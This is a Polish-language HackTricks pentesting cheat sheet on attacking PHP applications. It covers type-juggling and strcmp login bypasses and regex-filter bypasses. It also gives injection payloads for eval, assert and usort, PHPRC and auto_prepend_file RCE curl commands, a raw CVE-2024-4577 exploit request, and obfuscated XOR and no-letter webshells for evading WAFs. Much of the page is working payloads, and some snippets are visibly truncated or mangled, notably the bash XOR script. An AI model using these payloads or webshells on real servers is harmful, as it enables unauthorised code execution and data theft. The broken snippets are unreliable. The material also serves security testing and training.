.. | ||
php-useful-functions-disable_functions-open_basedir-bypass | ||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md | ||
php-ssrf.md | ||
README.md |
PHP Tricks
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
{% embed url="https://websec.nl/" %}
Typowa lokalizacja ciasteczek:
To również dotyczy ciasteczek phpMyAdmin.
Ciasteczka:
PHPSESSID
phpMyAdmin
Lokalizacje:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Obejście porównań PHP
Luźne porównania/Typ Juggling ( == )
Jeśli ==
jest używane w PHP, to istnieją nieoczekiwane przypadki, w których porównanie nie zachowuje się zgodnie z oczekiwaniami. Dzieje się tak, ponieważ "==" porównuje tylko wartości przekształcone do tego samego typu, jeśli chcesz również porównać, że typ porównywanych danych jest taki sam, musisz użyć ===
.
Tabele porównań PHP: https://www.php.net/manual/en/types.comparisons.php
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
"string" == 0 -> True
Ciąg znaków, który nie zaczyna się od liczby, jest równy liczbie"0xAAAA" == "43690" -> True
Ciągi składające się z liczb w formacie dziesiętnym lub szesnastkowym mogą być porównywane z innymi liczbami/ciągami z wynikiem True, jeśli liczby były takie same (liczby w ciągu są interpretowane jako liczby)"0e3264578" == 0 --> True
Ciąg zaczynający się od "0e" i następnie cokolwiek będzie równy 0"0X3264578" == 0X --> True
Ciąg zaczynający się od "0" i następnie dowolna litera (X może być dowolną literą) i następnie cokolwiek będzie równy 0"0e12334" == "0" --> True
To jest bardzo interesujące, ponieważ w niektórych przypadkach możesz kontrolować ciąg wejściowy "0" oraz niektóre treści, które są haszowane i porównywane z nim. Dlatego, jeśli możesz dostarczyć wartość, która stworzy hash zaczynający się od "0e" i bez żadnej litery, możesz obejść porównanie. Możesz znaleźć już haszowane ciągi w tym formacie tutaj: https://github.com/spaze/hashes"X" == 0 --> True
Dowolna litera w ciągu jest równa int 0
Więcej informacji w https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Typ Juggling również wpływa na funkcję in_array()
domyślnie (musisz ustawić trzeci argument na true, aby dokonać ścisłego porównania):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Jeśli ta funkcja jest używana do jakiejkolwiek weryfikacji uwierzytelnienia (jak sprawdzanie hasła) i użytkownik kontroluje jedną stronę porównania, może wysłać pustą tablicę zamiast ciągu jako wartość hasła (https://example.com/login.php/?username=admin&password[]=
) i obejść tę weryfikację:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
Ten sam błąd występuje z strcasecmp()
Ścisłe mieszanie typów
Nawet jeśli ===
jest używane, mogą wystąpić błędy, które sprawiają, że porównanie jest podatne na mieszanie typów. Na przykład, jeśli porównanie konwertuje dane na inny typ obiektu przed porównaniem:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match()
może być użyty do walidacji danych wejściowych użytkownika (sprawdza, czy jakiekolwiek słowo/regex z czarnej listy jest obecne w danych wejściowych użytkownika, a jeśli nie, kod może kontynuować swoje wykonanie).
Ominięcie nowej linii
Jednakże, przy delimitacji początku regexp preg_match()
sprawdza tylko pierwszą linię danych wejściowych użytkownika, więc jeśli w jakiś sposób możesz wysłać dane wejściowe w kilku liniach, możesz być w stanie obejść to sprawdzenie. Przykład:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Aby obejść tę kontrolę, możesz wysłać wartość z nowymi liniami zakodowanymi w URL (%0A
) lub jeśli możesz wysłać dane JSON, wyślij je w kilku liniach:
{
"cmd": "cat /etc/passwd"
}
Znajdź przykład tutaj: https://ramadistra.dev/fbctf-2019-rceservice
Obejście błędu długości
(To obejście było podobno testowane na PHP 5.2.5 i nie mogłem go uruchomić na PHP 7.3.15)
Jeśli możesz wysłać do preg_match()
ważny bardzo duży input, nie będzie w stanie go przetworzyć i będziesz mógł obejść kontrolę. Na przykład, jeśli czarna lista dotyczy JSON-a, możesz wysłać:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
Ominięcie ReDoS
Sztuczka z: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 i https://mizu.re/post/pong
Krótko mówiąc, problem występuje, ponieważ funkcje preg_*
w PHP opierają się na bibliotece PCRE. W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Można ustawić limit na liczbę dozwolonych rekurencji, ale w PHP ten limit domyślnie wynosi 100.000, co jest więcej niż mieści się na stosie.
Ten wątek na Stackoverflow również został podlinkowany w poście, w którym bardziej szczegółowo omawiano ten problem. Nasze zadanie było teraz jasne:
Wyślij dane wejściowe, które spowodują, że regex wykona 100_000+ rekurencji, powodując SIGSEGV, co sprawi, że funkcja preg_match()
zwróci false
, a tym samym aplikacja pomyśli, że nasze dane wejściowe nie są złośliwe, zaskakując na końcu ładunku czymś w rodzaju {system(<verybadcommand>)}
w celu uzyskania SSTI --> RCE --> flagi :).
Cóż, w terminach regex, tak naprawdę nie wykonujemy 100k "rekurencji", ale zamiast tego liczymy "kroki cofania", które, jak stwierdza dokumentacja PHP, domyślnie wynosi 1_000_000 (1M) w zmiennej pcre.backtrack_limit
.\
Aby to osiągnąć, 'X'*500_001
spowoduje 1 milion kroków cofania (500k do przodu i 500k do tyłu):
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Typowe przełączanie typów dla obfuskacji PHP
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Execute After Redirect (EAR)
Jeśli PHP przekierowuje na inną stronę, ale żadna funkcja die
lub exit
nie jest wywoływana po ustawieniu nagłówka Location
, PHP kontynuuje wykonywanie i dodaje dane do treści:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Wykorzystanie przejścia ścieżki i włączenia plików
Sprawdź:
{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}
Więcej sztuczek
- register_globals: W PHP < 4.1.1.1 lub w przypadku błędnej konfiguracji, register_globals może być aktywne (lub ich zachowanie jest naśladowane). Oznacza to, że w zmiennych globalnych, takich jak $_GET, jeśli mają wartość np. $_GET["param"]="1234", możesz uzyskać do nich dostęp przez $param. Dlatego, wysyłając parametry HTTP, możesz nadpisać zmienne używane w kodzie.
- Ciasteczka PHPSESSION tej samej domeny są przechowywane w tym samym miejscu, dlatego jeśli w obrębie domeny różne ciasteczka są używane w różnych ścieżkach, możesz sprawić, że jedna ścieżka uzyska dostęp do ciasteczka drugiej ścieżki, ustawiając wartość ciasteczka innej ścieżki.
W ten sposób, jeśli obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie, możesz sprawić, że wartość tej zmiennej w path1 będzie miała zastosowanie w path2. A następnie path2 uzna zmienne path1 za ważne (nadając ciasteczku nazwę, która odpowiada jej w path2). - Kiedy masz nazwy użytkowników użytkowników maszyny. Sprawdź adres: /~<USERNAME>, aby zobaczyć, czy katalogi php są aktywowane.
- LFI i RCE przy użyciu wrapperów php
password_hash/password_verify
Funkcje te są zazwyczaj używane w PHP do generowania hashy z haseł i do sprawdzania, czy hasło jest poprawne w porównaniu z hashem.
Obsługiwane algorytmy to: PASSWORD_DEFAULT
i PASSWORD_BCRYPT
(zaczyna się od $2y$
). Zauważ, że PASSWORD_DEFAULT często jest tym samym co PASSWORD_BCRYPT. A obecnie, PASSWORD_BCRYPT ma ograniczenie rozmiaru wejścia do 72 bajtów. Dlatego, gdy próbujesz zhashować coś większego niż 72 bajty za pomocą tego algorytmu, tylko pierwsze 72B zostanie użyte:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTP headers bypass abusing PHP errors
Causing error after setting headers
Z tego wątku na Twitterze można zobaczyć, że wysyłając więcej niż 1000 parametrów GET lub 1000 parametrów POST lub 20 plików, PHP nie ustawi nagłówków w odpowiedzi.
Pozwala to na obejście na przykład nagłówków CSP ustawianych w kodach takich jak:
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
Wypełnianie ciała przed ustawieniem nagłówków
Jeśli strona PHP wyświetla błędy i zwraca niektóre dane wprowadzone przez użytkownika, użytkownik może sprawić, że serwer PHP zwróci treść wystarczająco długą, aby podczas próby dodania nagłówków do odpowiedzi serwer zgłosił błąd.
W następującym scenariuszu atakujący spowodował, że serwer zgłosił kilka dużych błędów, a jak widać na ekranie, gdy PHP próbowało zmodyfikować informacje o nagłówkach, nie mogło (na przykład nagłówek CSP nie został wysłany do użytkownika):
SSRF w funkcjach PHP
Sprawdź stronę:
{% content-ref url="php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
Wykonanie kodu
system("ls");
`ls`;
shell_exec("ls");
Sprawdź to dla bardziej przydatnych funkcji PHP
RCE za pomocą preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Aby wykonać kod w argumencie "replace", potrzebne jest przynajmniej jedno dopasowanie.
Ta opcja preg_replace została wycofana od PHP 5.5.0.
RCE za pomocą Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE via Assert()
Ta funkcja w php pozwala na wykonywanie kodu zapisanego w ciągu w celu zwrócenia true lub false (a w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika będzie wstawiana w środek ciągu. Na przykład:
assert("strpos($_GET['page']),'..') === false")
--> W tym przypadku, aby uzyskać RCE, możesz zrobić:
?page=a','NeVeR') === false and system('ls') and strpos('a
Będziesz musiał złamać składnię kodu, dodać swój ładunek, a następnie naprawić to z powrotem. Możesz użyć operacji logicznych takich jak "and" lub "%26%26" lub "|". Zauważ, że "or", "||" nie działa, ponieważ jeśli pierwszy warunek jest prawdziwy, nasz ładunek nie zostanie wykonany. W ten sam sposób ";" nie działa, ponieważ nasz ładunek nie zostanie wykonany.
Inną opcją jest dodanie do ciągu wykonania polecenia: '.highlight_file('.passwd').'
Inną opcją (jeśli masz wewnętrzny kod) jest modyfikacja niektórej zmiennej, aby zmienić wykonanie: $file = "hola"
RCE za pomocą usort()
Ta funkcja jest używana do sortowania tablicy elementów za pomocą określonej funkcji.
Aby nadużyć tej funkcji:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
Możesz również użyć // do komentowania reszty kodu.
Aby odkryć liczbę nawiasów, które musisz zamknąć:
?order=id;}//
: otrzymujemy komunikat o błędzie (Parse error: syntax error, unexpected ';'
). Prawdopodobnie brakuje nam jednego lub więcej nawiasów.?order=id);}//
: otrzymujemy ostrzeżenie. To wydaje się w porządku.?order=id));}//
: otrzymujemy komunikat o błędzie (Parse error: syntax error, unexpected ')' i
). Prawdopodobnie mamy za dużo zamykających nawiasów.
RCE przez .httaccess
Jeśli możesz przesłać .htaccess, to możesz skonfigurować kilka rzeczy, a nawet wykonać kod (konfigurując, że pliki z rozszerzeniem .htaccess mogą być wykonywane).
Różne powłoki .htaccess można znaleźć tutaj
RCE przez zmienne środowiskowe
Jeśli znajdziesz lukę, która pozwala ci modyfikować zmienne środowiskowe w PHP (i inną, aby przesyłać pliki, chociaż z większym badaniem może to być możliwe do obejścia), możesz nadużyć tego zachowania, aby uzyskać RCE.
LD_PRELOAD
: Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binarnych (chociaż w tym przypadku może to nie działać).PHPRC
: Instrukcja dla PHP, gdzie znaleźć plik konfiguracyjny, zazwyczaj nazywanyphp.ini
. Jeśli możesz przesłać własny plik konfiguracyjny, użyjPHPRC
, aby wskazać PHP na niego. Dodaj wpisauto_prepend_file
, określający drugi przesłany plik. Ten drugi plik zawiera normalny kod PHP, który jest następnie wykonywany przez środowisko PHP przed jakimkolwiek innym kodem.
- Prześlij plik PHP zawierający nasz shellcode
- Prześlij drugi plik, zawierający dyrektywę
auto_prepend_file
, instruującą preprocesor PHP do wykonania pliku, który przesłaliśmy w kroku 1 - Ustaw zmienną
PHPRC
na plik, który przesłaliśmy w kroku 2.
- Uzyskaj więcej informacji na temat wykonania tego łańcucha z oryginalnego raportu.
- PHPRC - inna opcja
- Jeśli nie możesz przesyłać plików, możesz użyć w FreeBSD "pliku"
/dev/fd/0
, który zawierastdin
, będąc treścią żądania wysłanego dostdin
: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- Lub aby uzyskać RCE, włącz
allow_url_include
i dodaj plik z kodem PHP w base64: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- Technika z tego raportu.
XAMPP CGI RCE - CVE-2024-4577
Serwer WWW analizuje żądania HTTP i przekazuje je do skryptu PHP wykonującego żądanie takie jak http://host/cgi.php?foo=bar
jako php.exe cgi.php foo=bar
, co pozwala na wstrzyknięcie parametrów. To pozwoli na wstrzyknięcie następujących parametrów, aby załadować kod PHP z treści:
-d allow_url_include=1 -d auto_prepend_file=php://input
Ponadto możliwe jest wstrzyknięcie parametru "-" za pomocą znaku 0xAD z powodu późniejszej normalizacji PHP. Sprawdź przykład exploita z tego posta:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
PHP Sanitization bypass & Brain Fuck
W tym poście można znaleźć świetne pomysły na generowanie kodu PHP w stylu brain fuck z bardzo ograniczoną liczbą dozwolonych znaków.
Ponadto zaproponowano również interesujący sposób na wykonywanie funkcji, które pozwoliły im na ominięcie kilku kontroli:
(1)->{system($_GET[chr(97)])}
PHP Static analysis
Sprawdź, czy możesz wstawić kod w wywołania tych funkcji (z tutaj):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Jeśli debugujesz aplikację PHP, możesz globalnie włączyć drukowanie błędów w /etc/php5/apache2/php.ini
, dodając display_errors = On
i zrestartować apache: sudo systemctl restart apache2
Deobfuskacja kodu PHP
Możesz użyć web www.unphp.net do deobfuskacji kodu php.
Wrappery PHP i protokoły
Wrappery PHP i protokoły mogą pozwolić ci na obejście ochrony zapisu i odczytu w systemie i jego kompromitację. Aby uzyskać więcej informacji, sprawdź tę stronę.
Xdebug nieautoryzowane RCE
Jeśli widzisz, że Xdebug jest włączony w wyjściu phpconfig()
, powinieneś spróbować uzyskać RCE za pomocą https://github.com/nqxcode/xdebug-exploit
Zmienne zmiennych
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE nadużywając nowego $_GET["a"]($_GET["b")
Jeśli na stronie możesz utworzyć nowy obiekt dowolnej klasy, możesz uzyskać RCE, sprawdź następującą stronę, aby się dowiedzieć:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}
Wykonaj PHP bez liter
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Używając ósemkowego
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR łatwy kod powłoki
Zgodnie z tym opisem możliwe jest wygenerowanie łatwego kodu powłoki w ten sposób:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Więc, jeśli możesz wykonać dowolny PHP bez cyfr i liter możesz wysłać żądanie takie jak poniższe, wykorzystując ten ładunek do wykonania dowolnego PHP:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Dla bardziej szczegółowego wyjaśnienia sprawdź https://ctf-wiki.org/web/php/php/#preg_match
XOR Shellcode (wewnątrz eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl like
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.